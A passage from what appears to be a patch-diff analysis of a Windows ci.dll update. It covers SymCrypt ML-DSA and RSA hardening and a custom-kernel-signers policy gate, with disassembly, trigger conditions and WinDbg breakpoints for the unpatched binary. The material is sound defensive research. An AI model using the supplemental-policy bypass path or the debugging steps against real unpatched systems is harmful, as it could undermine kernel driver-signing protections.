&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;DE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;E1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;E4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SIPolicyIsBasePolicy&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; FIX: base-policy filter&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;E9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180076510&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; FIX: not a base policy -&amp;gt; stop&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;ED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;708&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;sil&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;F6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SIPolicyCheckCustomKernelSignersAllowed&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; FIX: delegated flag test&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;FB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;
&lt;span class="err"&gt;00000001800764&lt;/span&gt;&lt;span class="nf"&gt;FD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_18007650D&lt;/span&gt;
&lt;span class="err"&gt;000000018007650&lt;/span&gt;&lt;span class="nf"&gt;D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r9b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;0000000180076510&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r9b&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;New helper &lt;code&gt;SIPolicyCheckCustomKernelSignersAllowed&lt;/code&gt; (re-checks the same lock byte):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; PATCHED SIPolicyCheckCustomKernelSignersAllowed @ 0x18007652C&lt;/span&gt;
&lt;span class="err"&gt;000000018007652&lt;/span&gt;&lt;span class="nf"&gt;C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;byte_180048F08&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; FIX: lock/enable re-check&lt;/span&gt;
&lt;span class="err"&gt;0000000180076533&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_18007654C&lt;/span&gt;
&lt;span class="err"&gt;0000000180076535&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;
&lt;span class="err"&gt;0000000180076537&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_18007654C&lt;/span&gt;
&lt;span class="err"&gt;0000000180076539&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;; flag test on the +0x708 value passed in ecx&lt;/span&gt;
&lt;span class="err"&gt;000000018007653&lt;/span&gt;&lt;span class="nf"&gt;C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_180076548&lt;/span&gt;
&lt;span class="err"&gt;000000018007653&lt;/span&gt;&lt;span class="nf"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="err"&gt;0000000180076541&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;0000000180076544&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;
&lt;span class="err"&gt;0000000180076546&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;retn&lt;/span&gt;
&lt;span class="err"&gt;0000000180076548&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;000000018007654&lt;/span&gt;&lt;span class="nf"&gt;A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;span class="err"&gt;000000018007654&lt;/span&gt;&lt;span class="nf"&gt;C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;al&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; lock unset / arg zero -&amp;gt; not allowed&lt;/span&gt;
&lt;span class="err"&gt;000000018007654&lt;/span&gt;&lt;span class="nf"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;New helper &lt;code&gt;SIPolicySetCustomKernelSignersLockedEnabled&lt;/code&gt; (only writer of the lock byte):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; PATCHED SIPolicySetCustomKernelSignersLockedEnabled @ 0x180076558&lt;/span&gt;
&lt;span class="err"&gt;0000000180076558&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;byte_180048F08&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;; sets the lock/enable state&lt;/span&gt;
&lt;span class="err"&gt;000000018007655&lt;/span&gt;&lt;span class="nf"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;retn&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Registry-backed writer of the lock byte (init path):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; PATCHED - init path that supplies the lock value&lt;/span&gt;
&lt;span class="err"&gt;0000000180018&lt;/span&gt;&lt;span class="nf"&gt;E9F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ZwSetValueKey&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; ntoskrnl&lt;/span&gt;
&lt;span class="err"&gt;0000000180018&lt;/span&gt;&lt;span class="nf"&gt;EAB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;bl&lt;/span&gt;
&lt;span class="err"&gt;0000000180018&lt;/span&gt;&lt;span class="nf"&gt;EAD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;SIPolicySetCustomKernelSignersLockedEnabled&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key change:&lt;/strong&gt; The unpatched decision function has no lock gate and treats every SI policy (base or supplemental) equally — any policy with the enable bit at &lt;code&gt;+0x708&lt;/code&gt; yields "allowed." The patched function will not return "allowed" unless &lt;code&gt;byte_180048F08&lt;/code&gt; has been explicitly set (checked at &lt;code&gt;0x1800764BD&lt;/code&gt; and again inside &lt;code&gt;SIPolicyCheckCustomKernelSignersAllowed @ 0x18007652C&lt;/code&gt;) and the enabling policy passes &lt;code&gt;SIPolicyIsBasePolicy @ 0x1800764E4&lt;/code&gt;. &lt;code&gt;byte_180048F08&lt;/code&gt; has zero references in the unpatched binary.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;h3&gt;Finding 1: Unchecked Return in &lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reach the ML-DSA key path&lt;/strong&gt; in the unpatched &lt;code&gt;ci.dll&lt;/code&gt; — ML-DSA key generation or key import (&lt;code&gt;SymCryptMlDsakeySetValue&lt;/code&gt; / &lt;code&gt;SymCryptMlDsaKeyGenerateEx&lt;/code&gt;), or the ML-DSA power-on self-test.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cause &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; to fail&lt;/strong&gt; for one of the secret polynomials (for example the sampling-bound overflow of Finding 4). Note the self-test path uses fixed vectors, so this is a robustness concern rather than an attacker-controlled input path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect:&lt;/strong&gt; In the unpatched build the failing status is discarded; &lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt; returns 0 and the caller proceeds with an incompletely sampled secret vector. In a debugger, &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; returns non-zero (&lt;code&gt;0x8008&lt;/code&gt;) while &lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt; returns 0. The patched build returns the error.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 2: Missing p·q==modulus Check in &lt;code&gt;SymCryptRsakeyCalculatePrivateFields&lt;/code&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Import an RSA key&lt;/strong&gt; through &lt;code&gt;SymCryptRsakeySetValueInternal&lt;/code&gt; with two prime factors that do not multiply back to the supplied modulus.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ensure the flags argument (&lt;code&gt;a7&lt;/code&gt;)&lt;/strong&gt; does NOT have bit &lt;code&gt;0x200&lt;/code&gt; set (the bit that skips the new consistency check).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect:&lt;/strong&gt; The unpatched build derives private fields and returns success for the inconsistent key. The patched build multiplies the two primes and compares against the modulus (&lt;code&gt;SymCryptFdefIntMulMixedSize&lt;/code&gt; + &lt;code&gt;SymCryptFdefIntIsEqual&lt;/code&gt;); on mismatch it returns &lt;code&gt;32782&lt;/code&gt; (&lt;code&gt;0x800E&lt;/code&gt;, SYMCRYPT_INVALID_ARGUMENT).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 3: Unbounded Rejection Loop in &lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reach ML-DSA signing&lt;/strong&gt; (&lt;code&gt;SymCryptMlDsaSignEx&lt;/code&gt;), which calls &lt;code&gt;SymCryptMlDsaSampleInBall&lt;/code&gt; to sample the challenge polynomial &lt;code&gt;c&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Force the inner rejection loop to keep rejecting&lt;/strong&gt; — the loop squeezes a byte from the Keccak sponge via &lt;code&gt;SymCryptKeccakExtract&lt;/code&gt; and resamples while the byte exceeds the current index threshold (&lt;code&gt;rbx_1&lt;/code&gt;, which starts at &lt;code&gt;0x100 - *(rsi+0x18)&lt;/code&gt; and increments per accepted coefficient). Because the byte source is the sponge, this requires a pathological or corrupted sponge state rather than external ASN.1 content.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect (unpatched):&lt;/strong&gt; the inner loop does not terminate; execution stays in &lt;code&gt;loc_18002A3A6&lt;/code&gt;–&lt;code&gt;0x18002A3C2&lt;/code&gt;, repeatedly calling &lt;code&gt;SymCryptKeccakExtract&lt;/code&gt; at &lt;code&gt;0x18002A3B6&lt;/code&gt;. The patched build caps the loop at &lt;code&gt;0x79&lt;/code&gt; (121) iterations and returns &lt;code&gt;0x8008&lt;/code&gt; (SYMCRYPT_EXTERNAL_FAILURE).&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 4: Unbounded Rejection Loop in &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Reach ML-DSA secret sampling&lt;/strong&gt; (via &lt;code&gt;SymCryptMlDsaExpandS&lt;/code&gt;), where &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; maps sponge bytes to coefficients. Out-of-range nibbles decode to a &lt;code&gt;0x80&lt;/code&gt; skip marker that does not advance the coefficient count.&lt;/li&gt;
&lt;li&gt;For &lt;code&gt;eta&lt;/code&gt; selector &lt;code&gt;4&lt;/code&gt; (&lt;code&gt;byte [r14+0x16] == 4&lt;/code&gt;): nibble values &lt;code&gt;&amp;gt;= 9&lt;/code&gt; produce the &lt;code&gt;0x80&lt;/code&gt; skip.&lt;/li&gt;
&lt;li&gt;For &lt;code&gt;eta&lt;/code&gt; selector &lt;code&gt;2&lt;/code&gt; (&lt;code&gt;byte [r14+0x16] == 2&lt;/code&gt;): nibble values &lt;code&gt;&amp;gt;= 15&lt;/code&gt; produce the &lt;code&gt;0x80&lt;/code&gt; skip.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The nibble-to-value formula&lt;/strong&gt; is: &lt;code&gt;((nibble * 0xD) &amp;gt;&amp;gt; 6) * 5 - nibble + 2&lt;/code&gt;; out-of-range results become &lt;code&gt;0x80&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect (unpatched):&lt;/strong&gt; a long run of skip-producing sponge bytes keeps the loop reading without advancing the coefficient count (&lt;code&gt;edi&lt;/code&gt; stays below &lt;code&gt;0x100&lt;/code&gt;). Because the bytes come from the Keccak sponge (fresh output), there is no fixed input buffer to overread — the concern is non-termination, not an OOB read. The patched build caps sponge reads at &lt;code&gt;0x1E1&lt;/code&gt; (481) and returns &lt;code&gt;0x8008&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Finding 5: Custom Kernel Signers Gate in &lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Load a supplemental SI policy&lt;/strong&gt; that sets the custom-kernel-signers enable bit in its policy object field at &lt;code&gt;+0x708&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reach the CI SI-policy initialization / driver-signing evaluation path&lt;/strong&gt;, where &lt;code&gt;SIPolicyAreCustomKernelSignersAllowed&lt;/code&gt; is invoked (unpatched &lt;code&gt;@ 0x18001A4D8&lt;/code&gt;) and its result is folded into &lt;code&gt;g_CiDeveloperMode&lt;/code&gt; bit &lt;code&gt;0xD&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect (unpatched):&lt;/strong&gt; the function scans every loaded policy handle and returns &lt;code&gt;true&lt;/code&gt; because the supplemental policy's &lt;code&gt;+0x708&lt;/code&gt; bit is set — there is no base-policy filter and no lock/enable gate, so custom kernel signers are enabled on the strength of a supplemental policy alone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable effect (patched):&lt;/strong&gt; the function first checks &lt;code&gt;byte_180048F08&lt;/code&gt; (returns &lt;code&gt;false&lt;/code&gt; if unset) and, inside the loop, skips/stops on any policy for which &lt;code&gt;SIPolicyIsBasePolicy&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;, so the supplemental policy no longer enables custom kernel signers; only a base policy, and only after the lock/enable byte has been set through the registry-backed init path, can do so.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;h3&gt;Key-Validation / Error-Propagation Hardening (Findings 1 &amp;amp; 2)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; These are internal robustness fixes in SymCrypt's key-handling code, not an Authenticode/PE signature bypass.
- &lt;strong&gt;Finding 1&lt;/strong&gt; ensures a failed secret-polynomial sampling status is propagated instead of being masked by an always-zero wipe return; without it, ML-DSA key material could be finalized in an incompletely sampled state.
- &lt;strong&gt;Finding 2&lt;/strong&gt; adds an RSA key-consistency check so a key whose two primes do not multiply back to its modulus is rejected with &lt;code&gt;SYMCRYPT_INVALID_ARGUMENT&lt;/code&gt; instead of silently accepted.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachability:&lt;/strong&gt; These paths run during ML-DSA/RSA key generation, key import, and power-on self-tests inside &lt;code&gt;ci.dll&lt;/code&gt;. The self-test paths operate on fixed vectors, and the key-import paths act on locally supplied key structures; there is no demonstrated path where remote or file-supplied signature data reaches these functions, so practical attacker impact is limited.&lt;/p&gt;
&lt;h3&gt;Non-Termination Hardening (Findings 3 &amp;amp; 4)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Defensive iteration bounds on two ML-DSA rejection-sampling loops. Both loops draw bytes from a SHAKE/Keccak sponge; with a well-formed sponge they terminate with overwhelming probability, so the pre-patch risk is non-termination only under a pathological or corrupted sponge state rather than attacker-controlled input.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;
- No heap grooming or info leak is involved.
- No OOB read (Finding 4): the byte source is fresh Keccak sponge output, not a bounded input buffer, so the concern is a hang, not memory disclosure.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Target:&lt;/strong&gt; UNPATCHED &lt;code&gt;ci.dll&lt;/code&gt; with WinDbg/KD attached (local kernel debugging while exercising ML-DSA/RSA key operations or self-tests).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Finding 1: Unchecked Return — &lt;code&gt;SymCryptMlDsaExpandS (sub_180029484)&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp ci!sub_180029484
bp ci!sub_18002A06C
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Why:&lt;/strong&gt; &lt;code&gt;SymCryptMlDsaExpandS (sub_180029484)&lt;/code&gt; is the secret-vector expansion loop that discards the sampling status. &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_18002A06C)&lt;/code&gt; is the per-polynomial sampler whose non-zero return is silently ignored.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What to inspect at each breakpoint:&lt;/strong&gt;
- At &lt;code&gt;sub_180029484&lt;/code&gt; entry: &lt;code&gt;rcx&lt;/code&gt; = arg1 (ML-DSA key/state struct). Check &lt;code&gt;byte [rcx+0x15]&lt;/code&gt; for the &lt;code&gt;s1&lt;/code&gt; polynomial count, &lt;code&gt;byte [rcx+0x14]&lt;/code&gt; for the &lt;code&gt;s2&lt;/code&gt; count.
- Inside the s1 loop at the call to &lt;code&gt;sub_18002A06C&lt;/code&gt; (offset &lt;code&gt;0x180029505&lt;/code&gt;):
  - &lt;code&gt;di&lt;/code&gt; = current polynomial index
  - &lt;code&gt;r14d&lt;/code&gt; = s1 polynomial count (loop bound); &lt;code&gt;ebp&lt;/code&gt; = s2 count
  - &lt;code&gt;r9&lt;/code&gt; (arg4) = per-polynomial output pointer = base + &lt;code&gt;(index &amp;lt;&amp;lt; 0xa) + 8&lt;/code&gt;
- At &lt;code&gt;SymCryptMlDsaRejBoundedPoly (sub_18002A06C)&lt;/code&gt; return:
  - &lt;code&gt;eax&lt;/code&gt; = status code. &lt;strong&gt;Non-zero means sampling failed — but the caller ignores it.&lt;/strong&gt;
- At offset &lt;code&gt;0x180029552&lt;/code&gt;: the call to &lt;code&gt;SymCryptWipeAsm (sub_180011800)&lt;/code&gt; (secure wipe) — after it, the sampling status is not moved into &lt;code&gt;eax&lt;/code&gt;, so it is discarded and never returned.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key offsets:&lt;/strong&gt;
| Offset | Instruction | Significance |
|--------|-------------|--------------|
| &lt;code&gt;0x180029484&lt;/code&gt; | function entry | Break here |
| &lt;code&gt;0x180029505&lt;/code&gt; | &lt;code&gt;call SymCryptMlDsaRejBoundedPoly&lt;/code&gt; | s1-loop call — return value discarded |
| &lt;code&gt;0x180029539&lt;/code&gt; | &lt;code&gt;call SymCryptMlDsaRejBoundedPoly&lt;/code&gt; | s2-loop call — also missing error check |
| &lt;code&gt;0x180029552&lt;/code&gt; | &lt;code&gt;call SymCryptWipeAsm&lt;/code&gt; | Wipe cleanup; sampling status never reaches the return |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger setup:&lt;/strong&gt;
1. Reach the ML-DSA key-generation / key-import path in the unpatched &lt;code&gt;ci.dll&lt;/code&gt;.
2. Force &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; to return non-zero for one polynomial (e.g. its sampling-bound overflow).
3. Observe that the failing status is dropped.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expected observation:&lt;/strong&gt; In the unpatched binary, &lt;code&gt;SymCryptMlDsaRejBoundedPoly&lt;/code&gt; returns non-zero (&lt;code&gt;0x8008&lt;/code&gt; SYMCRYPT_EXTERNAL_FAILURE), but &lt;code&gt;SymCryptMlDsaExpandS (sub_180029484)&lt;/code&gt; returns &lt;code&gt;0&lt;/code&gt;. No error propagates. The patched build returns the error.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Struct/offset notes:&lt;/strong&gt;
- &lt;code&gt;arg1+0x14&lt;/code&gt;: &lt;code&gt;s2&lt;/code&gt; polynomial count
- &lt;code&gt;arg1+0x15&lt;/code&gt;: &lt;code&gt;s1&lt;/code&gt; polynomial count
- &lt;code&gt;arg1+0x80&lt;/code&gt;: not applicable (this is ML-DSA key expansion, not a certificate array)
